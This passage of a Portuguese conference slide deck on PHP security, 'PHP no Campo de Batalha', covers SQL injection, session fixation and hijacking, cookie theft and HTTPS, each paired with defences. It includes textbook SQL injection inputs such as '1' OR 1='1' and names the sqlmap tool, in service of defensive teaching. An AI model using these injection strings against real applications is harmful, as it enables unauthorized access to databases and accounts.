![Page 94: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/94.jpg)
SQL Injection
1' OR 1='1
![Page 95: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/95.jpg)
SQL Injection
fulano'# ou fulano' --
![Page 96: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/96.jpg)
SQLInjection
Blind
![Page 97: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/97.jpg)
Injeção de código arbitrário sem visualização da saída do banco.
Blind SQL Injection
![Page 98: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/98.jpg)
sqlmap
![Page 99: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/99.jpg)
![Page 100: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/100.jpg)
Prepared Statements
e ORMs
![Page 101: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/101.jpg)
Prepared Statements
Declarações preparadas
Compila as consultas SQL
Utiliza placeholders
![Page 102: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/102.jpg)
Declarações preparadas
INSERT INTO produtos (nome, preco) VALUES (?, ?)
Prepared Statements
![Page 103: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/103.jpg)
ORMObject-relational mapping
Reduz a escrita de SQL
Acesso ao banco através de classes
![Page 104: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/104.jpg)
ORMs
![Page 105: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/105.jpg)
Exposição de
credenciais
![Page 106: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/106.jpg)
O que acontece se alguém tiver
acesso aos seus arquivos?
![Page 107: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/107.jpg)
E se o PHP parar de
funcionar?
![Page 108: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/108.jpg)
E se houver um include mal
programado?
![Page 109: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/109.jpg)
8 Cookies e sessions
![Page 110: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/110.jpg)
Cookies são client-side
Sessions são server-side
Cookies e Sessions
![Page 111: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/111.jpg)
Cliente Servidor
Requisição HTTP
Resposta HTTP + Set Cookie
Requisição HTTP
Resposta HTTP
Cookies e Sessions
![Page 112: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/112.jpg)
Servidor
session_start()Verifica se a sessão
existe
Procura pelo SESSID em um cookie
Procura pelo SESSID numa querystring
Busca os dados e cria a $_SESSION
Sim
Sim
Não
Cria uma nova SESSID
Não
Cookies e Sessions
![Page 113: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/113.jpg)
Roubo de Cookie(Cookie Theft)
![Page 114: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/114.jpg)
Não costumam existir
vulnerabilidades de
navegador para roubo
de cookies
![Page 115: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/115.jpg)
Tome cuidado com
XSS
![Page 116: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/116.jpg)
![Page 117: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/117.jpg)
![Page 118: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/118.jpg)
Cookies também
podem ser roubados
com sniffers
Proteja utilizando HTTPS
![Page 119: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/119.jpg)
Vulnerabilidades
de Sessão
![Page 120: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/120.jpg)
Exposição de Sessão
Dados de sessão podem ser
visualizados via sniff quando
não criptografado com HTTPS
![Page 121: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/121.jpg)
Hospedagens compartilhadas podem
vazar dados dentro dos diretórios com
permissões de leitura a todos
Utilize session_set_save_handler() para alterar o comportamento de gravação dos dados de sessão
Exposição de Sessão
![Page 122: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/122.jpg)
Não é o roubo de um
ID de sessão.
É a imposição de um!
Fixação de Sessão
![Page 123: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/123.jpg)
Não permita que sejam utilizados SID não gerados pela aplicação
Fixação de Sessão
![Page 124: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/124.jpg)
Gere um novo SID em
cada requisição
Utilize session_regenerate_id()
Páginas com muito tráfego acabam gerando SID inválidos
Fixação de Sessão
![Page 125: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/125.jpg)
Roubo de Sessão(Session Hijacking)
![Page 126: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/126.jpg)
Roubo de Sessão
É possível fixar um SID,
forjar ou até mesmo
capturar um cookie!
![Page 127: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/127.jpg)
Algumas sugestões para evitar roubo de sessão (tente
equilibrar usabilidade e segurança):
Gerar tokens únicos por usuário
Verificar User-Agent e IP
Utilizar sessões apenas via cookies
Roubo de Sessão
![Page 128: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/128.jpg)
Não sacrifique a usabilidade do projeto!
![Page 129: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/129.jpg)
![Page 130: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/130.jpg)
não
![Page 131: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/131.jpg)
Boas
práticas
![Page 132: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/132.jpg)
Nunca utilize
cookies
para autenticaçãoPrefira cookies para informações não-vitais
![Page 133: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/133.jpg)
Utilize sessões sempre em
conjunto com cookies
Ajuda a prevenir o roubo de sessão
![Page 134: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/134.jpg)
pagina.php?PHPSESSID=1234
![Page 135: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/135.jpg)
php.ini
session.use_cookiessession.use_only_cookiesGET / HTTP/1.1Host: algumsite.comUser-Agent: Mozilla/5.0Accept: image/png,image/*;q=0.8,*/*;q=0.5Cookie: PHPSESSID=3108c6a684a89787947087d4e46f278dCache-Control: max-age=0
![Page 136: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/136.jpg)
Cuidado com hospedagem
compartilhada ou dois sites
no mesmo servidor
Pode ocorrer choque de sessão
![Page 137: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/137.jpg)
![Page 138: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/138.jpg)
Utilize session_destroy() e
não apenas remova o
cookie
Um cookie roubado pode reinicializar uma sessão
![Page 139: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/139.jpg)
Destrua a sessão antes de
alterar o nível de
permissão de usuário
autenticado
Impede que uma sessão de guest seja utilizada para um usuário autenticado
![Page 140: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/140.jpg)
9 Tráfego na web
![Page 141: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/141.jpg)
Fluxo do tráfego
Cliente Servidor
Requisição HTTP
Resposta HTTP
Requisição HTTP
Resposta HTTP
![Page 142: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/142.jpg)
Sniffers em redes abertas
![Page 143: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/143.jpg)
Wireshark
![Page 144: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/144.jpg)
![Page 145: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/145.jpg)
Configurando um certificado SSL
![Page 146: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/146.jpg)
http://www.phpit.com.br/artigos/configurando-ssl-servidor-de-desenvolvimento-apache.phpit
Gerando um certificado para testes
![Page 147: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/147.jpg)
Alternando entre HTTP e HTTPS
![Page 148: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/148.jpg)
Leves diferenças na
$_SERVER sob HTTPS
![Page 149: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/149.jpg)
$_SERVER[HTTP_HOST] => localhost[SERVER_SOFTWARE] => Apache/2.2.22[SERVER_NAME] => localhost[SERVER_ADDR] => 127.0.0.1[SERVER_PORT] => 80[REMOTE_ADDR] => 127.0.0.1[DOCUMENT_ROOT] => /var/www
HTTP
[HTTPS] => on[SSL_TLS_SNI] => localhost[HTTP_HOST] => localhost[SERVER_SOFTWARE] => Apache/2.2.22[SERVER_NAME] => localhost[SERVER_ADDR] => 127.0.0.1[SERVER_PORT] => 443[REMOTE_ADDR] => 127.0.0.1[DOCUMENT_ROOT] => /var/www
HTTPS
![Page 150: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/150.jpg)
Force a utilização do
protocolo HTTPS
Via aplicação ou via apache
![Page 151: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/151.jpg)
Monitorar logs
Manter PHP atualizado
Frameworks
Segurança física
Últimas dicas
![Page 152: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/152.jpg)
Sempre que possível, utilize código refatorado
Exposição phpinfo()
Cuidados ao enviar e-mails Segurança no sistema de arquivos
Últimas dicas
![Page 153: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/153.jpg)
Obrigado!Rafael Jaques
phpit.com.br
@rafajaques
slideshare.net/rafajaques
youtube.com/realphpit
w
@
![Page 154: [FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques](https://reader033.fdocument.pub/reader033/viewer/2022061306/58f2fc1e1a28ab5d368b45b3/html5/thumbnails/154.jpg)
Imagens utilizadas
• https://flic.kr/p/5Ndwd8
• https://flic.kr/p/i3NEP6